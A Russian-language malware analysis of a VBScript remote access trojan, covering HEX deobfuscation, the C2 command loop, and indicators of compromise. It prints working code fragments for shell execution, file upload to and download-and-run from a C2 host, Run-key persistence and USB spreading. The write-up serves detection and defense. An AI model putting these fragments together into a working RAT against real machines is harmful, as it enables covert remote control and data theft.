Введение
На анализ поступил файл VEFLSQM. По результатам исследования он классифицирован как троян удалённого доступа (RAT).
Образец написан на VBScript и использует стандартные COM-компоненты Windows для работы с файловой системой, процессами, реестром и сетью. Основная логика скрыта за несколькими уровнями обфускации.
Первоначально файл содержит конструкции вида:
f=f&h("703D2822222222290D0A673D2876626372290D0A746578743D...") f=f&h("2E7368656C6C222670262229222667262264696D206673...") f=f&h("267026226D73786D6C322E786D6C687474702226672622...")
Здесь h() получает HEX-строку, а результат последовательно добавляется к переменной f.
После декодирования становится доступен второй уровень VBScript.
Снятие первого уровня обфускации
Для восстановления кода были извлечены все аргументы h(), содержащие HEX-данные. Далее каждый блок преобразовывался из HEX в байты и объединялся.
import re from pathlib import Path src = Path("1.vbs").read_text( encoding="utf-8", errors="ignore" ) chunks = re.findall( r'f\s*=\s*f\s*&\s*h\("([0-9A-Fa-f]+)"\)', src ) print(f"[+] HEX blocks: {len(chunks)}") text = ''.join( bytes.fromhex(chunk).decode("latin-1") for chunk in chunks ) text = text.replace("f!", "function") Path("decoded.vbs").write_text( text, encoding="utf-8" )
После этого получается VBScript, в котором уже видны используемые объекты и основная логика RAT.
Важно отметить, что HEX в данном случае не является шифрованием. Это способ скрытия содержимого скрипта и усложнения поверхностного анализа.
Инициализация
Первое, что делает восстановленный скрипт, — создаёт необходимые COM-объекты:
dim sh set sh = wscript.createobject("wscript.shell") dim fs set fs = createobject("scripting.filesystemobject") dim htp set htp = createobject("msxml2.xmlhttp")
Таким образом:
WScript.Shellиспользуется для запуска процессов и работы с реестром;Scripting.FileSystemObject— для работы с файлами и каталогами;MSXML2.XMLHTTP— для HTTP-коммуникации.
Также определяется каталог, в котором находится скрипт:
path = fs.GetParentFolderName(WScript.ScriptFullName)
После этого включается:
On Error Resume Next
что позволяет продолжать выполнение при возникновении ошибок.
Обработка аргументов
Скрипт поддерживает аргумент командной строки:
Set Arg = WScript.Arguments if Arg.length > 0 then sh.Run "explorer /root," & ... End if
При наличии аргумента запускается explorer.exe с параметром /root, то есть открывается переданный путь.
C2 и основной цикл
После инициализации задаются параметры связи:
YUc5emRB = chrw(120)&chrw(110)&chrw(056)&... cG9ydA = Asc(chrw(200+26)) YzNC = "<" & "|" & ">" sleep = 5000
Адрес C2 скрыт с помощью последовательности chrw().
Порт рассчитывается динамически:
cG9ydA = Asc(chrw(200+26))
Результат — 226.
После этого запускается основной цикл:
while true i = i + 1 If i = 4 Then install i = 0 End If response = post("is-ready","") M2R = split(response,YzNC) select case M2R(0) ... end select wscript.sleep sleep wend
Скрипт регулярно обращается к C2, получает ответ, разбирает его и выполняет соответствующую команду.
Интересная деталь — функция install вызывается не только при первоначальном запуске. Она периодически вызывается внутри основного цикла.
Система команд
Ответ C2 разделяется через собственный разделитель:
M2R = split(response,YzNC)
Первая часть ответа определяет команду:
select case M2R(0) case "excecute" param = M2R(1) execute param case "update" ... case "uninstall" uninstall case "send" download M2R(1),M2R(2) case "site-send" sitedownloader M2R(1),M2R(2) case "recv" upload M2R(1) case "enum-driver" post "is-enum-driver",enumdriver case "enum-faf" post "is-enum-faf",enumfaf(param) case "enum-process" post "is-enum-process",enumprocess case "M2R-shell" post "is-M2R-shell",M2Rshell(param) case "delete" deletefaf(param) case "exit-process" exitprocess(param) case "sleep" sleep = eval(param) end select
Таким образом, C2 управляет практически всеми основными функциями образца.
Выполнение команд
Для выполнения команд используется функция M2Rshell():
function M2Rshell(M2R) set oexec = sh.exec("%comspec% /c " & M2R) if not oexec.stdout.atendofstream then readallfromany = oexec.stdout.readall elseif not oexec.stderr.atendofstream then readallfromany = oexec.stderr.readall else readallfromany = "" end if M2Rshell = readallfromany end function
Команда из C2 передаётся в:
%comspec% /c <command>
После выполнения RAT читает stdout или stderr и возвращает результат оператору.
Работа с файлами
Для загрузки файла с C2 используется функция download().
objhttpdownload.open "post", _ "http://" & YUc5emRB & ":" & cG9ydA & _ "/is-sending" & YzNC & fileurl, false objhttpdownload.send ""
Полученное содержимое сохраняется через ADODB.Stream:
with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close end with
После сохранения файл запускается:
sh.run objfsodownload.getfile(strsaveto).shortpath
Таким образом, оператор может передать файл на заражённую машину и инициировать его запуск.
Загрузка файла с внешнего URL
Есть и второй механизм — sitedownloader().
В отличие от download(), он использует обычный HTTP GET:
objhttpdownload.open "get", strlink, false objhttpdownload.send
После получения ответа 200 данные записываются в файл через ADODB.Stream.
Это позволяет RAT загружать файлы не только непосредственно с C2, но и с указанного внешнего URL.
Передача файлов на C2
Обратная операция реализована функцией upload():
set objstreamuploade = createobject("adodb.stream") with objstreamuploade .type = 1 .open .loadfromfile fileurl buffer = .read .close end with
После чтения файл отправляется:
htp.open "post", _ "http://" & YUc5emRB & ":" & cG9ydA & _ "/is-recving" & YzNC & fileurl, false htp.send buffer
Таким образом, реализована полноценная двусторонняя передача файлов.
Перечисление дисков
Функция enumdriver() перебирает все доступные диски:
for each drive in fs.drives if drive.isready = true then enumdriver = enumdriver & _ drive.path & "|" & _ drive.drivetype & YzNC end if next
Для каждого доступного диска передаются путь и тип устройства.
Результат отправляется на:
/is-enum-driver
Перечисление файловой системы
Функция enumfaf() получает содержимое указанного каталога.
Для каталогов собираются имя, тип и атрибуты:
for each folder in fs.getfolder(enumdir).subfolders ... next
Для файлов:
for each file in fs.getfolder(enumdir).files ... next
Полученная информация отправляется на:
/is-enum-faf
Таким образом, оператор может удалённо просматривать файловую систему заражённой машины.
Перечисление процессов
Для получения списка процессов используется WMI:
set objwmiservice = _ getobject("winmgmts:\\.\root\cimv2") set colitems = _ objwmiservice.execquery( _ "select * from win32_process",,48)
Для каждого процесса собираются:
enumprocess = enumprocess & objitem.name & "|" enumprocess = enumprocess & objitem.processid & "|" enumprocess = enumprocess & objitem.executablepath & YzNC
Таким образом, C2 получает:
имя процесса;
PID;
путь к исполняемому файлу.
Завершение процессов
Отдельная функция exitprocess() получает PID и вызывает:
sh.run "taskkill /F /T /PID " & pid, 7, true
Ключи /F и /T обеспечивают принудительное завершение процесса вместе с дочерними процессами.
Сбор информации о системе
Функция information() собирает базовые сведения о заражённом хосте:
inf = "2__" & hwid & YzNC inf = inf & sh.expandenvironmentstrings("%computername%") & YzNC inf = inf & sh.expandenvironmentstrings("%username%") & YzNC
Через WMI дополнительно получается информация об операционной системе:
set root = getobject( _ "winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set os = root.execquery( _ "select * from win32_operatingsystem")
Также собирается информация об установленном защитном ПО.
Формирование HWID
HWID реализован отдельной функцией.
Сначала выполняется запрос:
set disks = root.execquery( _ "select * from win32_logicaldisk")
После чего используется VolumeSerialNumber:
if disk.volumeserialnumber <> "" then hwid = disk.volumeserialnumber
Таким образом, серийный номер логического диска используется в качестве идентификатора заражённого хоста.
C2-функция
Весь сетевой обмен централизован в функции post():
function post(M2R,param) post = param htp.open "post", _ "http://" & YUc5emRB & ":" & cG9ydA & _ "/" & M2R, false htp.setrequestheader "user-agent:",information htp.send param post = htp.responsetext end function
Здесь есть важная деталь: в HTTP-заголовок User-Agent передаётся information.
То есть запрос к C2 содержит сведения о заражённой системе непосредственно в HTTP-заголовке.
Persistence
Механизм закрепления реализован в upstart():
sh.regwrite _ "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & _ split(aW5zdGF,".")(0), _ "wscript.exe //B //E:vbs " & _ chrw(34) & YVc1em & aW5zdGF & chrw(34), _ "REG_SZ"
Аналогичная запись выполняется в:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
После этого исходный скрипт копируется в %APPDATA%:
fs.copyfile _ wscript.scriptfullname, _ YVc1em & aW5zdGF, _ true
Таким образом, в системе появляется установленная копия RAT, запускаемая автоматически при входе пользователя.
Проверка установленной копии
После установки выполняется сравнение текущего файла с копией:
set scriptfullnameshort = fs.getfile(wscript.scriptfullname) set installfullnameshort = fs.getfile(YVc1em & aW5zdGF) if lcase(scriptfullnameshort.shortpath) <> _ lcase(installfullnameshort.shortpath) then sh.run "wscript.exe //B //E:vbs " & _ chr(34) & YVc1em & aW5zdGF & Chr(34) wscript.quit end if
Если выполняется исходный экземпляр, он запускает установленную копию и завершает себя.
Распространение через USB
Внутри install() реализовано перебирание дисков:
for each drive in fs.drives if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then fs.copyfile _ wscript.scriptfullname, _ drive.path & "\" & aW5zdGF, _ true
Для съёмного диска копируется текущий VBScript.
После этого файл получает атрибуты:
fs.getfile(...).attributes = 2+4
То есть:
2 = Hidden 4 = System
Дополнительно создаются каталоги и .lnk-файлы, через которые запускается скрытый VBScript.
Таким образом, USB-носитель используется как механизм дальнейшего распространения вредоносной программы.
Обновление
Команда update позволяет заменить установленный VBScript:
oneonce.close set oneonce = fs.opentextfile( _ YVc1em & aW5zdGF, 2, false) oneonce.write param oneonce.close
После записи новой версии запускается обновлённый экземпляр:
sh.run "wscript.exe //B //E:vbs " & _ chr(34) & YVc1em & aW5zdGF & chr(34) wscript.quit
Таким образом, оператор может обновить код RAT без повторного заражения системы.
Самоудаление
Для удаления используется команда uninstall.
Удаление файлов и каталогов выполняется через:
fs.deletefile url fs.deletefolder url
Дополнительно удаляются записи автозапуска и созданные .lnk-файлы.
Это позволяет оператору удалить установленный экземпляр после завершения работы.
Второй уровень обфускации
После снятия HEX-слоя сам VBScript всё ещё остаётся обфусцированным.
Код формируется как одна большая строка:
p=("""") g=(vbcr) text="dim sh "&g& _ "set sh = wscript.createobject("&p& _ "wscript.shell"&p&")"&g& ...
Используются:
p— хранение кавычек;g— хранение перевода строки;chrw()— формирование отдельных символов;конкатенация строк;
короткие имена переменных;
скрытые строковые значения.
В конце сформированный код передаётся в:
ExecuteGlobal(...)
В результате реальная логика RAT формируется непосредственно во время выполнения.
Что в итоге делает образец
После восстановления кода функциональность образца можно представить следующим образом:
VEFLSQM
|
v
HEX-обфускация
|
v
восстановленный VBScript
|
+--------------+--------------+
| | |
v v v
WScript.Shell FileSystemObject XMLHTTP
| | |
| | v
| | C2
| | |
+--------------+--------------+
|
v
команды оператора
|
+--------------------+--------------------+
| | | | |
v v v v v
cmd.exe файлы процессы сбор обновление
данных
| | | |
+----------+----------+---------+
|
+-----------+-----------+
| |
v v
Run keys USB
| |
v v
persistence spreading
IOC (Indicators of Compromise):
MD5:
2fa0e66d8cb4872ef3c6319a3641e2e8SHA-1:
fe9cff4c25aa36051ad8d038ecc79bd1ed9eb3e1SHA-256:
00cc17f7380443b443de3aa92c7f9216653bdd40501aafc7185ee53e1c1b1079C2-домен:
xn.n..sytes.netC2-порт:
226C2 URL:
http://xn.n..sytes.net:226/<endpoint>Протокол: HTTP
Методы: GET, POST
Механизм HTTP-взаимодействия:
MSXML2.XMLHTTPSSDeep:
384:RIv91VF264GCNtZuCwvYVL+hrA/0o23xKP0HTZVm:Rq9N4NNHuCwvYVL+hrq0o2hKPl
Заключение
Исследованный файл VEFLSQM представляет собой VBScript Remote Access Trojan с HTTP-взаимодействием с C2.
В коде реализованы:
выполнение произвольных команд через
%comspec%;управление процессами;
перечисление процессов через WMI;
работа с файлами и каталогами;
загрузка файлов на заражённую систему;
выгрузка файлов на C2;
загрузка файлов с внешних URL;
сбор информации об ОС, пользователе и компьютере;
получение HWID;
определение установленного антивирусного ПО;
HTTP-коммуникация с C2;
persistence через
Run;копирование в
%APPDATA%;обновление собственного кода;
самоудаление;
распространение через USB;
скрытие вредоносных файлов атрибутами
Hidden + System.
При этом shellcode, DLL-инъекция и отдельный механизм повышения привилегий в исследованном коде не обнаружены.
Основная особенность образца — реализация полноценного RAT исключительно средствами VBScript и стандартных компонентов Windows. Несколько уровней обфускации скрывают исходную логику, однако после восстановления кода становится видно, что скрипт предоставляет оператору практически полный набор функций для удалённого управления заражённой системой.